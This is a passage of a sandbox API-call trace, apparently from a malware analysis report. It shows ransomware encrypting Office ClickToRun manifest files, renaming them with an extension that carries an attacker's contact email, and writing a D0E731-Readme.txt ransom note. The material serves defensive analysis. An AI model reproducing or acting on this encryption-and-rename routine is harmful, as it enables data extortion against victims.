users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpoint.powerpoint.x-none.msi.16.x-none.xml")) returned 0x20 [0074.060] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml", dwFileAttributes=0x20) returned 1 [0074.060] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpoint.powerpoint.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x944 [0074.060] GetFileSizeEx (in: hFile=0x944, lpFileSize=0x183bf808 | out: lpFileSize=0x183bf808*=103844) returned 1 [0074.060] SetFilePointerEx (in: hFile=0x944, liDistanceToMove=0x195a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.060] ReadFile (in: hFile=0x944, lpBuffer=0x183bf7dc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x183bf7d8, lpOverlapped=0x0 | out: lpBuffer=0x183bf7dc*, lpNumberOfBytesRead=0x183bf7d8*=0x4, lpOverlapped=0x0) returned 1 [0074.064] SetFilePointerEx (in: hFile=0x944, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.064] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341eeb0 [0074.064] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341eed8 [0074.064] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341f090 [0074.064] NtQuerySystemTime (in: CurrentTime=0x183bf7b4 | out: CurrentTime=0x183bf7b4*=132121176319565059) returned 0x0 [0074.065] RtlRandom (in: Seed=0x183bf7c0 | out: Seed=0x183bf7c0) returned 0xc2090b33 [0074.065] RtlRandom (in: Seed=0x183bf7c0 | out: Seed=0x183bf7c0) returned 0xc62f018 [0074.065] RtlRandom (in: Seed=0x183bf7c0 | out: Seed=0x183bf7c0) returned 0x22e9ec90 [0074.065] RtlRandom (in: Seed=0x183bf7c0 | out: Seed=0x183bf7c0) returned 0x736922fd [0074.065] RtlRandom (in: Seed=0x183bf7c0 | out: Seed=0x183bf7c0) returned 0x47e722c6 [0074.065] RtlRandom (in: Seed=0x183bf7c0 | out: Seed=0x183bf7c0) returned 0x72bbe882 [0074.065] RtlRandom (in: Seed=0x183bf7c0 | out: Seed=0x183bf7c0) returned 0x6c459768 [0074.065] RtlRandom (in: Seed=0x183bf7c0 | out: Seed=0x183bf7c0) returned 0xd22cdc76 [0074.065] RtlRandom (in: Seed=0x183bf7c0 | out: Seed=0x183bf7c0) returned 0x56479ce2 [0074.065] RtlRandom (in: Seed=0x183bf7c0 | out: Seed=0x183bf7c0) returned 0xbe13ce8c [0074.065] RtlRandom (in: Seed=0x183bf7c0 | out: Seed=0x183bf7c0) returned 0x2b9e3d9b [0074.065] RtlRandom (in: Seed=0x183bf7c0 | out: Seed=0x183bf7c0) returned 0xbd4f54c0 [0074.065] RtlRandom (in: Seed=0x183bf7c0 | out: Seed=0x183bf7c0) returned 0xc7fbbf01 [0074.065] RtlRandom (in: Seed=0x183bf7c0 | out: Seed=0x183bf7c0) returned 0xc5604ec8 [0074.065] RtlRandom (in: Seed=0x183bf7c0 | out: Seed=0x183bf7c0) returned 0x32a55681 [0074.065] RtlRandom (in: Seed=0x183bf7c0 | out: Seed=0x183bf7c0) returned 0x14b11737 [0074.065] RtlRandom (in: Seed=0x183bf7c0 | out: Seed=0x183bf7c0) returned 0xc9603094 [0074.065] RtlRandom (in: Seed=0x183bf7c0 | out: Seed=0x183bf7c0) returned 0x6e78f4d3 [0074.065] RtlRandom (in: Seed=0x183bf7c0 | out: Seed=0x183bf7c0) returned 0x42916d7d [0074.065] RtlRandom (in: Seed=0x183bf7c0 | out: Seed=0x183bf7c0) returned 0x84059bd3 [0074.065] RtlRandom (in: Seed=0x183bf7c0 | out: Seed=0x183bf7c0) returned 0x83f9d87c [0074.065] RtlRandom (in: Seed=0x183bf7c0 | out: Seed=0x183bf7c0) returned 0x88ecbde0 [0074.065] RtlRandom (in: Seed=0x183bf7c0 | out: Seed=0x183bf7c0) returned 0x39a1b879 [0074.065] RtlRandom (in: Seed=0x183bf7c0 | out: Seed=0x183bf7c0) returned 0xe364a7f5 [0074.065] RtlRandom (in: Seed=0x183bf7c0 | out: Seed=0x183bf7c0) returned 0xdb48a3 [0074.065] RtlRandom (in: Seed=0x183bf7c0 | out: Seed=0x183bf7c0) returned 0xc164afbe [0074.065] RtlRandom (in: Seed=0x183bf7c0 | out: Seed=0x183bf7c0) returned 0x4c625034 [0074.065] RtlRandom (in: Seed=0x183bf7c0 | out: Seed=0x183bf7c0) returned 0x8456c602 [0074.065] RtlRandom (in: Seed=0x183bf7c0 | out: Seed=0x183bf7c0) returned 0x1dd69cb4 [0074.065] RtlRandom (in: Seed=0x183bf7c0 | out: Seed=0x183bf7c0) returned 0x15f9808f [0074.065] RtlRandom (in: Seed=0x183bf7c0 | out: Seed=0x183bf7c0) returned 0x2cf2a741 [0074.065] RtlRandom (in: Seed=0x183bf7c0 | out: Seed=0x183bf7c0) returned 0x8a8286ec [0074.077] SetFilePointerEx (in: hFile=0x944, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.077] ReadFile (in: hFile=0x944, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x183bf78c, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x183bf78c*=0x4096, lpOverlapped=0x0) returned 1 [0074.086] SetFilePointerEx (in: hFile=0x944, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.086] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda60 [0074.086] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0074.086] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ebe0 [0074.086] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ebe0) returned 1 [0074.086] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x33f28e0 [0074.087] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ebe0 [0074.087] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ede8 [0074.087] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ede8) returned 1 [0074.087] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0074.087] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0074.087] WriteFile (in: hFile=0x944, lpBuffer=0x33f28e0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x183bf78c, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesWritten=0x183bf78c*=0x4096, lpOverlapped=0x0) returned 1 [0074.087] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0074.087] SetFilePointerEx (in: hFile=0x944, liDistanceToMove=0x195a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.088] WriteFile (in: hFile=0x944, lpBuffer=0x341ebe0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x183bf7c4, lpOverlapped=0x0 | out: lpBuffer=0x341ebe0*, lpNumberOfBytesWritten=0x183bf7c4*=0x20, lpOverlapped=0x0) returned 1 [0074.091] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ebe0) returned 1 [0074.091] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0074.091] WriteFile (in: hFile=0x944, lpBuffer=0x341e5c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x183bf7d8, lpOverlapped=0x0 | out: lpBuffer=0x341e5c8*, lpNumberOfBytesWritten=0x183bf7d8*=0x8, lpOverlapped=0x0) returned 1 [0074.091] WriteFile (in: hFile=0x944, lpBuffer=0x183bf7f0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x183bf7d8, lpOverlapped=0x0 | out: lpBuffer=0x183bf7f0*, lpNumberOfBytesWritten=0x183bf7d8*=0x4, lpOverlapped=0x0) returned 1 [0074.092] WriteFile (in: hFile=0x944, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x183bf7d8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x183bf7d8*=0x4, lpOverlapped=0x0) returned 1 [0074.092] WriteFile (in: hFile=0x944, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x183bf7d8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x183bf7d8*=0x6c, lpOverlapped=0x0) returned 1 [0074.092] WriteFile (in: hFile=0x944, lpBuffer=0x341eed8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x183bf7d8, lpOverlapped=0x0 | out: lpBuffer=0x341eed8*, lpNumberOfBytesWritten=0x183bf7d8*=0x20, lpOverlapped=0x0) returned 1 [0074.092] WriteFile (in: hFile=0x944, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x183bf7d8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x183bf7d8*=0x4, lpOverlapped=0x0) returned 1 [0074.092] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341eed8) returned 1 [0074.092] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341f068) returned 1 [0074.092] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e5c8) returned 1 [0074.092] CloseHandle (hObject=0x944) returned 1 [0074.092] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x156) returned 0x33e2008 [0074.092] wcscpy (in: _Dest=0x33e2008, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml" [0074.092] wcscat (in: _Dest=0x33e2008, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" [0074.092] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpoint.powerpoint.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpoint.powerpoint.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0074.093] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0074.093] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e2008) returned 1 [0074.093] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml", dwFileAttributes=0x20) returned 0 [0074.093] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x3434dd8 [0074.093] wcscpy (in: _Dest=0x3434dd8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0074.093] wcscat (in: _Dest=0x3434dd8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" [0074.093] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\d0e731-readme.txt")) returned 0x20 [0074.093] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434dd8) returned 1 [0074.093] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34232a0) returned 1 [0074.093] RtlExitUserThread (Status=0x1) Thread: id = 621 os_tid = 0xffc [0074.064] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpointmui.msi.16.en-us.xml")) returned 0x20 [0074.079] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml", dwFileAttributes=0x20) returned 1 [0074.079] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpointmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x960 [0074.080] GetFileSizeEx (in: hFile=0x960, lpFileSize=0x1843fd60 | out: lpFileSize=0x1843fd60*=26782) returned 1 [0074.080] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x689a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.080] ReadFile (in: hFile=0x960, lpBuffer=0x1843fd34, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1843fd30, lpOverlapped=0x0 | out: lpBuffer=0x1843fd34*, lpNumberOfBytesRead=0x1843fd30*=0x4, lpOverlapped=0x0) returned 1 [0074.094] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.094] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e208 [0074.094] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e1e0 [0074.094] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e5c8 [0074.094] NtQuerySystemTime (in: CurrentTime=0x1843fd0c | out: CurrentTime=0x1843fd0c*=132121176319877743) returned 0x0 [0074.094] RtlRandom (in: Seed=0x1843fd18 | out: Seed=0x1843fd18) returned 0x60ce7011 [0074.094] RtlRandom (in: Seed=0x1843fd18 | out: Seed=0x1843fd18) returned 0xe102b3cd [0074.094] RtlRandom (in: Seed=0x1843fd18 | out: Seed=0x1843fd18) returned 0xa971d92 [0074.094] RtlRandom (in: Seed=0x1843fd18 | out: Seed=0x1843fd18) returned 0x729f04d [0074.095] RtlRandom (in: Seed=0x1843fd18 | out: Seed=0x1843fd18) returned 0x1eaa344a [0074.095] RtlRandom (in: Seed=0x1843fd18 | out: Seed=0x1843fd18) returned 0x9ff3d286 [0074.095] RtlRandom (in: Seed=0x1843fd18 | out: Seed=0x1843fd18) returned 0x8ba09653 [0074.095] RtlRandom (in: Seed=0x1843fd18 | out: Seed=0x1843fd18) returned 0x63cf773f [0074.095] RtlRandom (in: Seed=0x1843fd18 | out: Seed=0x1843fd18) returned 0xa7a411be [0074.095] RtlRandom (in: Seed=0x1843fd18 | out: Seed=0x1843fd18) returned 0x64043bdc [0074.095] RtlRandom (in: Seed=0x1843fd18 | out: Seed=0x1843fd18) returned 0xc2e3cb3f [0074.095] RtlRandom (in: Seed=0x1843fd18 | out: Seed=0x1843fd18) returned 0x4befb36e [0074.095] RtlRandom (in: Seed=0x1843fd18 | out: Seed=0x1843fd18) returned 0x11747a26 [0074.095] RtlRandom (in: Seed=0x1843fd18 | out: Seed=0x1843fd18) returned 0x2535a889 [0074.095] RtlRandom (in: Seed=0x1843fd18 | out: Seed=0x1843fd18) returned 0x6e69eb13 [0074.095] RtlRandom (in: Seed=0x1843fd18 | out: Seed=0x1843fd18) returned 0x7680e19f [0074.095] RtlRandom (in: Seed=0x1843fd18 | out: Seed=0x1843fd18) returned 0xaabb5948 [0074.095] RtlRandom (in: Seed=0x1843fd18 | out: Seed=0x1843fd18) returned 0x481e9987 [0074.095] RtlRandom (in: Seed=0x1843fd18 | out: Seed=0x1843fd18) returned 0xfdd4b21d [0074.095] RtlRandom (in: Seed=0x1843fd18 | out: Seed=0x1843fd18) returned 0x218f400c [0074.095] RtlRandom (in: Seed=0x1843fd18 | out: Seed=0x1843fd18) returned 0xb3209b7f [0074.095] RtlRandom (in: Seed=0x1843fd18 | out: Seed=0x1843fd18) returned 0xc8296b86 [0074.095] RtlRandom (in: Seed=0x1843fd18 | out: Seed=0x1843fd18) returned 0x5d3df32c [0074.095] RtlRandom (in: Seed=0x1843fd18 | out: Seed=0x1843fd18) returned 0x87d58870 [0074.095] RtlRandom (in: Seed=0x1843fd18 | out: Seed=0x1843fd18) returned 0xd79161ec [0074.095] RtlRandom (in: Seed=0x1843fd18 | out: Seed=0x1843fd18) returned 0x4b1a6180 [0074.095] RtlRandom (in: Seed=0x1843fd18 | out: Seed=0x1843fd18) returned 0xfb73bafa [0074.095] RtlRandom (in: Seed=0x1843fd18 | out: Seed=0x1843fd18) returned 0xa136e88f [0074.095] RtlRandom (in: Seed=0x1843fd18 | out: Seed=0x1843fd18) returned 0x93144ec6 [0074.095] RtlRandom (in: Seed=0x1843fd18 | out: Seed=0x1843fd18) returned 0x2ad2d3fc [0074.095] RtlRandom (in: Seed=0x1843fd18 | out: Seed=0x1843fd18) returned 0xf3f75dc6 [0074.095] RtlRandom (in: Seed=0x1843fd18 | out: Seed=0x1843fd18) returned 0x246d56fe [0074.106] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.106] ReadFile (in: hFile=0x960, lpBuffer=0x33f28e0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1843fce4, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesRead=0x1843fce4*=0x4096, lpOverlapped=0x0) returned 1 [0074.111] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.111] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fdb38 [0074.111] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0074.111] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e370 [0074.111] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e370) returned 1 [0074.111] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0074.111] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e258 [0074.111] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e140 [0074.111] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e140) returned 1 [0074.111] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0074.112] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fdb38) returned 1 [0074.112] WriteFile (in: hFile=0x960, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1843fce4, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x1843fce4*=0x4096, lpOverlapped=0x0) returned 1 [0074.112] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0074.112] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x689e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.112] WriteFile (in: hFile=0x960, lpBuffer=0x341e258*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1843fd1c, lpOverlapped=0x0 | out: lpBuffer=0x341e258*, lpNumberOfBytesWritten=0x1843fd1c*=0x20, lpOverlapped=0x0) returned 1 [0074.112] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e258) returned 1 [0074.112] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0074.112] WriteFile (in: hFile=0x960, lpBuffer=0x341e168*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1843fd30, lpOverlapped=0x0 | out: lpBuffer=0x341e168*, lpNumberOfBytesWritten=0x1843fd30*=0x8, lpOverlapped=0x0) returned 1 [0074.112] WriteFile (in: hFile=0x960, lpBuffer=0x1843fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1843fd30, lpOverlapped=0x0 | out: lpBuffer=0x1843fd48*, lpNumberOfBytesWritten=0x1843fd30*=0x4, lpOverlapped=0x0) returned 1 [0074.112] WriteFile (in: hFile=0x960, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1843fd30, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1843fd30*=0x4, lpOverlapped=0x0) returned 1 [0074.113] WriteFile (in: hFile=0x960, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1843fd30, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1843fd30*=0x6c, lpOverlapped=0x0) returned 1 [0074.113] WriteFile (in: hFile=0x960, lpBuffer=0x341e1e0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1843fd30, lpOverlapped=0x0 | out: lpBuffer=0x341e1e0*, lpNumberOfBytesWritten=0x1843fd30*=0x20, lpOverlapped=0x0) returned 1 [0074.113] WriteFile (in: hFile=0x960, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1843fd30, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1843fd30*=0x4, lpOverlapped=0x0) returned 1 [0074.113] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e1e0) returned 1 [0074.113] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e4d8) returned 1 [0074.113] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e168) returned 1 [0074.113] CloseHandle (hObject=0x960) returned 1 [0074.113] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x136) returned 0x341da40 [0074.113] wcscpy (in: _Dest=0x341da40, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml" [0074.113] wcscat (in: _Dest=0x341da40, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" [0074.113] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpointmui.msi.16.en-us.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpointmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0074.114] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0074.114] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341da40) returned 1 [0074.114] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml", dwFileAttributes=0x20) returned 0 [0074.114] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x3434828 [0074.114] wcscpy (in: _Dest=0x3434828, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0074.114] wcscat (in: _Dest=0x3434828, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All 